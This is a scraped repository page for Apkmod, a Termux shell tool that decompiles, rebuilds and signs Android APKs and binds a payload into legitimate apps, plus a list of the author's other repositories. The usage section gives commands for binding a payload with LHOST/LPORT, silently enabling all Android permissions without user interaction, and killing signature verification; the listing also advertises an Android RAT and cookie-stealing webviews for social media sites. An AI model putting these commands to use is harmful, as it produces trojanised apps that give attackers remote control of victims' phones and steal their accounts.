• Stars
    star
    683
  • Rank 63,768 (Top 2 %)
  • Language
    Shell
  • License
    GNU General Publi...
  • Created over 4 years ago
  • Updated over 1 year ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Apkmod can decompile, recompile, sign APK, and bind the payload with any legit APP

Apkmod v4.1

Author : Lokesh @Hax4us

Steps For Installation

  1. First goto home directory cd $HOME
  2. Get the setup script wget https://raw.githubusercontent.com/Hax4us/Apkmod/master/setup.sh
  3. Execute the script bash setup.sh
  4. Now you can execute command apkmod

Usage :

  1. For decompiling apkmod -d -i /path/to/inapp.apk -o /path/to/outdirectory. It will decompile inapp.apk into outdirectory folder.
  2. For recompiling apkmod -r -i /path/to/indirectory -o /path/to/outapp.apk. It will recompile indirectory ( where decompiled files are exists ) into outapp.apk.
  3. For signing apkmod -s -i /path/to/unsignedapp.apk -o /path/to/signedapp.apk. It will sign unsignedapp.apk and saves output ( signed app ) to signedapp.apk.
  4. For binding apkmod -b -i /path/to/originalApp.apk -o /path/to/binded.apk LHOST=127.0.0.1 LPORT=4444. It will bind payload with originalApp.apk and saves final binded app to binded.apk.
  5. Use -V to enable verbose output
  6. If only editing Java (smali) then this is the recommended action for faster decompile & rebuild --no-res
  7. If you are only editing the resources. This is the recommended action for faster disassemble & assemble --no-smali
  8. use --frame-path to specify framework directory like --frame-path=/path/to/dir
  9. Use --enable-perm to enable all android permissions in binded or non binded payloads without user interaction. For example :- apkmod --enable-perm -i /path/to/binded.apk -o mybinded.apk
  10. apkmod --to-java -i /path/to/in.apk -o outfolder will decompile dex to java. Input can be [.apk,.dex,.zip]
  11. Now you can use a optional option -a to use aapt for binding and recompiling. Why aapt ? Because some apps can't recompile with aapt2 but aapt can do it. But I can't drop aapt2 support because some apps can't recompile with aapt so first recompile or bind without aapt (-a) then if you failed then try with aapt. For example apkmod -a -b -i /path/to/originalApp.apk -o /path/to/binded.apk LHOST=127.0.0.1 LPORT=4444 will use aapt otherwise aapt2.
  12. To change App name use --appname with -i. For example apkmod --appname="New App Name" -i /path/to/in.apk -o /path/to/out.apk
  13. To remove/kill signature verification of app , apkmod --signature-bypass --killer=k2 -i /path/to/in.apk -o /path/to/out.apk. There are two version available of signature killer , one is k1 and second one is k2, you will have to specify version like --killer=k1 or --killer=k2.

Size Comparision (Termux)

Size   Apkmod   Third party tools
after installation Around 100 MB Around 700-900 MB

Why Apkmod is extremely small ?

Because it has Alpine instead of Ubuntu, kali, parrot or other glibc based distros.

You can join me on telegram also

https://t.me/hax4us_group

More Repositories

1

Nethunter-In-Termux

This is a script by which you can install Kali nethunter (Kali Linux) in your termux application without rooted phone
Shell
2,146
star
2

TermuxBlack

Termux repository for hacking tools and packages
Shell
1,264
star
3

Metasploit_termux

Ruby
730
star
4

TermuxAlpine

Use TermuxAlpine.sh calling to install Alpine Linux in Termux on Android. This setup script will attempt to set Alpine Linux up in your Termux environment.
Shell
505
star
5

haxRat

A Android RAT with lots of features , check README for more information.
Smali
457
star
6

Tmux-Bunch

(Deprecated Use Apkmod instead)Tmux-Bunch is a first tool for complete apk modding in TERMUX (included :- decompiling , recompiling , signapk , zipalign)
Shell
194
star
7

java

This package of java (openjdk) is specially for termux users (without rooted phone) But it is unstable or beta version and I will update it soon with stable one
Shell
130
star
8

httrack_In_termux

Httrack - A popular tool to clone any website , is now compiled by me for termux.
Shell
113
star
9

termux-x

it is unofficial repository maintained by me @hax4us. you can check available packages in README
95
star
10

apktool

This apktool is specially compiled for termux..
Shell
79
star
11

androtoolkit

Androtoolkit can use in termux to create payload , install metasploit & ngrok also :)
Shell
64
star
12

setoolkit

Shell
64
star
13

CookieStealers

A repository where i will push my webviews for some famous services like Instagram , Facebook, Twitter , Hotstar etc
Java
56
star
14

blackarch_termux

This is a script to insert blackarch URL into Archlinux In termux :D
Shell
48
star
15

guitmux

A script to setup GUI in termux :)
Shell
46
star
16

Hax4us.github.io

Shell
45
star
17

termux-msf

A script to install the metasploit-framework automatically or without hassle and errors.
Shell
40
star
18

universal_nh

This is a script by which we can install Kali Nethunter without flash so in other words I can say that it is universal method to install Kali :D
Shell
28
star
19

flutter_in_termux

Shell
23
star
20

no-ip-updater

A simple (very basic) bash script ( no exception handling ) to update no-ip DNS to avoid 30 day expiration
Shell
21
star
21

payload

16
star
22

txerosploit

Ruby
16
star
23

network_interface

Shell
11
star
24

dotfiles

Vim Script
11
star
25

termux-packages-dummy

Shell
10
star
26

demorepo

7
star
27

andev-templates

Templates for AnDev
Java
7
star
28

log-view-plugin

Gradle plugin for my android app LogView
7
star
29

police-station

Boilerplate for PolicStation App ( Part Of My Android Development Series Without PC)
Java
6
star
30

aad

Java
5
star
31

android-hello-world

Java
5
star
32

build

Smali
5
star
33

QuizApp

Java
4
star
34

demo

HTML
4
star
35

test

3
star
36

ullu_ka_birthday

CSS
1
star